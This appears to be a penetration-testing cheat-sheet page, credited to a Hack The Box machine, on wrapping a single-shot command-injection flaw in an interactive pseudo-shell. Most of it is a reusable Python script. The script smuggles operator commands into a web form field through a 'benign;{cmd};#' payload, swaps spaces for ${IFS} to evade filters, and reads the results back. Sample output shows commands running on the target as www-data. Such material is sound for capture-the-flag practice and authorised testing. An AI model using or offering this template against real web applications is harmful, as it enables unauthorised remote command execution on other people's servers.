Skip to content
Interactive command loop

Interactive command loop

Interactive command loop — single-shot exec to pseudo-shell

A single-shot primitive executes one command per trigger request. Placing it behind an input() loop creates a pseudo-shell: an interactive command prompt implemented by repeated application requests rather than by one persistent shell process.

send() places the command in the target-specific form field, header, JSON object, query parameter, or other input that reaches the sink. fetch_output() reads the result from the original response or polls a separate out-of-band endpoint. Because each iteration commonly starts a new shell process, state-changing shell builtins such as cd do not normally persist into the next command.

${IFS} is the shell’s Internal Field Separator variable. Replacing spaces with ${IFS} preserves argument boundaries only when the command reaches a shell that performs variable expansion. The delay between delivery and output retrieval is required only when execution or the callback is asynchronous. KeyboardInterrupt and EOFError represent Ctrl-C and Ctrl-D at the prompt.

import requests
import urllib3
import sys
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

URL = "http://target"
PROXIES = {}

def send(s, cmd):
    # wire the injection sink here; cmd arrives already space-escaped
    data = {"field": f"benign;{cmd};#"}
    s.post(url=f"{URL}/sink", data=data, verify=False, proxies=PROXIES, timeout=10)

def fetch_output(s):
    # read the result: in-band response body, or poll an OOB endpoint
    r = s.get(url=f"{URL}/result", verify=False, proxies=PROXIES, timeout=10)
    response_text = r.text
    return response_text

def shell(s):
    while True:
        cmd = input("> ").strip()
        if not cmd:
            continue
        cmd = cmd.replace(" ", "${IFS}")   # optional: space-filter bypass
        send(s, cmd)
        time.sleep(1)                      # optional: let an async/OOB sink land
        print(fetch_output(s))

if __name__ == "__main__":
    s = requests.Session()
    try:
        shell(s)
    except (KeyboardInterrupt, EOFError):
        print("\n[-] interrupted")
        sys.exit(0)

Example output

> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> hostname
target-box
> ^C
[-] interrupted

Find by: interactive shell, pseudo shell, pseudo-shell, command loop, repl, prompt loop, input loop, while true input, run commands interactively, turn exec into shell, single shot to shell, blind rce shell, keyboardinterrupt, ctrl-c, ctrl-d, eof, send and fetch, sink wrapper, oob shell · Source: HTB/VoidWhispers